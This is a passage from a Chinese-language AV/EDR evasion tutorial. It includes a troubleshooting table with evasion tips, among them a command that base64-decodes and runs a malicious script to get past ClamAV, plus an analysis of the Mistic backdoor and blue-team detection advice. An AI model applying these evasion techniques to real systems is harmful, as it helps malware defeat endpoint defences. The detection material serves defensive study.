无文件执行 PowerShell 提示”无法加载脚本” Set-ExecutionPolicy Bypass -Scope CurrentUser;改用 WMI 命令绕过 EDR 拦截
无文件执行 Linux 脚本被 ClamAV 拦截 Base64 编码脚本后解码执行:bash -c "base64 -d mal.b64 | bash"
进程注入 提示”权限不足” 提权运行工具(管理员/sudo);更换低敏感目标进程
进程注入 EDR 触发”异常内存读写”告警 更换目标进程避开 EDR 监控;采用间接注入方式
沙箱逃逸 沙箱中误触发恶意行为 优化多条件组合判断(CPU + 硬盘 + 运行时长),降低误判概率
沙箱逃逸 真实终端无法触发 Payload 调整阈值(如 CPU 核心数判定 ≥ 2),适配真实终端配置差异

十四、实战案例:Mistic 后门深度分析(2026)

Mistic(又名 MLTBackdoor)是 2026 年上半年安全圈爆出的一个隐蔽性极高的新型后门,被 Symantec、Carbon Black、Zscaler
等顶级安全厂商联合命名追踪。它把”潜伏”做到了极致——全程纯内存运行,本地不留任何文件,甚至内置”一键自毁”紧急开关。

14.1 攻击背景与溯源

Mistic 后门背后的攻击团伙代号 KongTuke(又名 404 TDS、Woodgnat、TAG-124),是一个活跃的初始访问经纪人(IAB,Initial Access
Broker)团伙。他们采用”广撒网”策略,疯狂攻击保险、教育、IT 和专业服务等行业,攻破后将访问权限转卖给勒索软件团伙(如 Qilin
勒索软件)变现。

经典攻击链路

  1. 流量分发:利用被黑的 WordPress 网站搭建流量分发系统(TDS),不断变换诱饵挂马
  2. 社会工程学钓鱼:在 Microsoft Teams 里伪造”IT Support(IT技术支持)”官方账号发消息,忽悠企业员工上钩
  3. 投毒下毒:诱导受害者触发攻击链后,投放 ModeloRAT(自研的 Python 远控木马)以及 Mistic 后门

14.2 核心技术:DLL 侧载(DLL Side-Loading)

Mistic 的落地手段是 DLL 侧载——完美利用防守方对官方工具的信任。

目标选择:微软自家的终端安全工具组件 MpExtMs.exe,拥有微软官方正规数字签名,各大杀软和 EDR 通常直接放行。

侧载原理:黑客将精心构造的恶意 DLL(伪装成该 EXE 默认加载的某个系统 DLL 名)与合法 MpExtMs.exe 放在同一目录。当
MpExtMs.exe 启动时,Windows 的 DLL 搜索路径优先级机制导致程序优先加载当前目录下的同名恶意 DLL,而非系统目录里的正版
DLL。在合法的微软安全进程上下文中,悄无声息地激活了后门代码。

这一招直接废掉了大部分基于文件白名单或静态特征的防护墙,典型的”借鸡生蛋”。

14.3 零盘落地(Zero-Disk Landing)

传统木马释放后续 Payload 时,通常在临时目录写入文件,一旦落盘,EDR 的实时文件监控就会报警拦截。

Mistic 直接在内存中向 C2 服务器请求后续 Payload,接收到字节流后通过内存解密并利用反射式注入等技术,*
直接在内存中拉起并执行,全程不往硬盘写一个字节*。依赖磁盘文件特征扫描的传统杀软完全失效。

14.4 BOF 动态能力扩展

这是 Mistic 最具技术含量的核心亮点——原生内置对 BOF(Beacon Object Files,信标对象文件) 的动态加载支持。

BOF 是什么:BOF 是一种轻量级的、尚未链接的 C 语言目标文件。它能在不启动新进程(不需要调用 cmd.exepowershell.exe
)的情况下,直接在当前的后门进程内存中动态链接并执行。

为什么重要:传统后门执行高级命令(抓取密码、扫描内网端口)时,往往需要拉起系统进程,这会触发 EDR 敏感的进程树(Process
Tree)异常监控。而 Mistic 通过加载 BOF,所有高级功能全都在当前看似”合法”的微软进程内部悄悄完成,不产生任何新的进程衍生特征,对抗
EDR 的能力直接拉满。

BOF 本质上犹如一个”无限火力”插件包——攻击者可以随时向内存中的 Mistic
进程注入新的功能模块(键盘记录、凭据窃取、横向移动),而整个过程不需要创建新进程、不需要写磁盘、不需要加载新 DLL。

14.5 功能矩阵

核心功能 技术实现 防御检测难点
文件级操作 上传、下载、移动、重命名或删除目标文件 混淆在正常系统 I/O 行为中
内存沙盒内执行 直接从 C2 接收二进制流驻留内存运行 常规文件取证手段彻底失效
BOF 动态扩展 随时在当前进程扩展新功能 绕过基于进程树的监控策略
灵活心跳抖动 动态修改轮询 C2 的时间间隔(Jitter) 对抗基于固定周期的流量异常检测
紧急自毁机制 收到指令后立即终止进程并擦除痕迹 安全响应人员极难抓到完整存活样本

14.6 另类投放通道:ClickFix + DNS 隧道

ClickFix(CrashFix):攻击者利用恶意 Chrome 广告拦截扩展,在底层故意导致受害者浏览器崩溃,随后弹出逼真的系统级提示:”
检测到您的浏览器异常,请运行安全扫描程序修复。”用户点击后门就进来了。

DNS 隐蔽通道:部分变种在向外通信和拉取 Payload 时,不走常规 HTTP/HTTPS 协议,而是通过发起特定 DNS 查询——利用 DNS
作为极其轻量级的”隐蔽传输与信令通道”。一般企业防火墙很少严格拦截出站正常 DNS 请求,这属于天然的免杀绿色通道。

14.7 蓝队防御建议

面对这种”白利用 + 零盘落地 + 内存执行 BOF + 走 DNS 通道”的顶级后门,传统防守手段捉襟见肘。建议:

  1. 死盯正规程序的异地启动:任何正规安全程序,如果不是在默认安装路径启动,而是在 Download、Temp 甚至 Desktop
    目录下启动,必须立即触发高危告警
  2. 强化内存行为与 API 调用监控:紧盯内存中的异常内存分配(如请求执行权限的 VirtualAlloc)、未知来源的反射式 DLL
    加载、以及异常的进程 API 挂钩
  3. 重点清查 DNS 异常流量:监控内网 DNS 服务器日志,发现高频向未知域名的 TXT 记录查询、或返回含大量 Base64
    编码乱码的响应,先断网隔离再排查

十五、总结

15.1 核心思路

免杀方案的核心思路可以归纳为五个字:

  1. — Loader 和 Payload 分离交付
  2. — Shellcode 加密后伪装成无害数据
  3. — Syscall 直接调用绕过 API Hook
  4. — 多层反沙箱避免进入分析环境
  5. — 进程保持存活,Session 不意外死亡

15.2 核心原则

  1. 免杀 ≠ 技巧,是对检测机制的系统性理解
  2. 检测 ≠ 特征,是行为 + 关联 + 画像
  3. 攻防对抗的终局:代码不可控,行为可建模
  4. 安全防御不能停留在”我有装杀毒软件”的水平,需要知道攻击者会从哪些角度绕过去,然后针对性地补上检测点
  5. 多层次的检测 + 全链路的可观测性 + 持续的威胁情报更新,才是现代终端安全的正确姿势

15.3 实践原则

  1. 与时俱进:AV/EDR 厂商会持续更新特征库和检测规则,过时的免杀手段(如简单 UPX 加壳)易被拦截
  2. 避免单一技术依赖:单一免杀手段的防护效果有限,实战中需组合使用(如”代码混淆 + 无文件执行 + 沙箱逃逸”)
  3. 适配目标环境:需提前调研目标终端的 AV/EDR 类型,针对性设计免杀方案,不同厂商的检测逻辑差异较大

每一个单项技术都不是新的——DLL 分离加载、XOR 加密、Syscall 调用都是成熟技术。但把它们组合成一个完整的、可工作、经过实战排障的工程,才是最大价值所在。


笔者语:免杀 和 杀软 就好像 道 和 魔 究竟是道高一尺,魔高一丈 还是 魔高一尺,道高一丈 这就要看使用技术的人的技术如何了。
最了解你的除了你的朋友 恐怕也就只有你的敌人了


免责声明:本文档仅供授权的安全测试、CTF 比赛、渗透评估及安全研究使用。使用者需自行承担合规责任。技术无罪,但请用在正确的地方。

评论
分享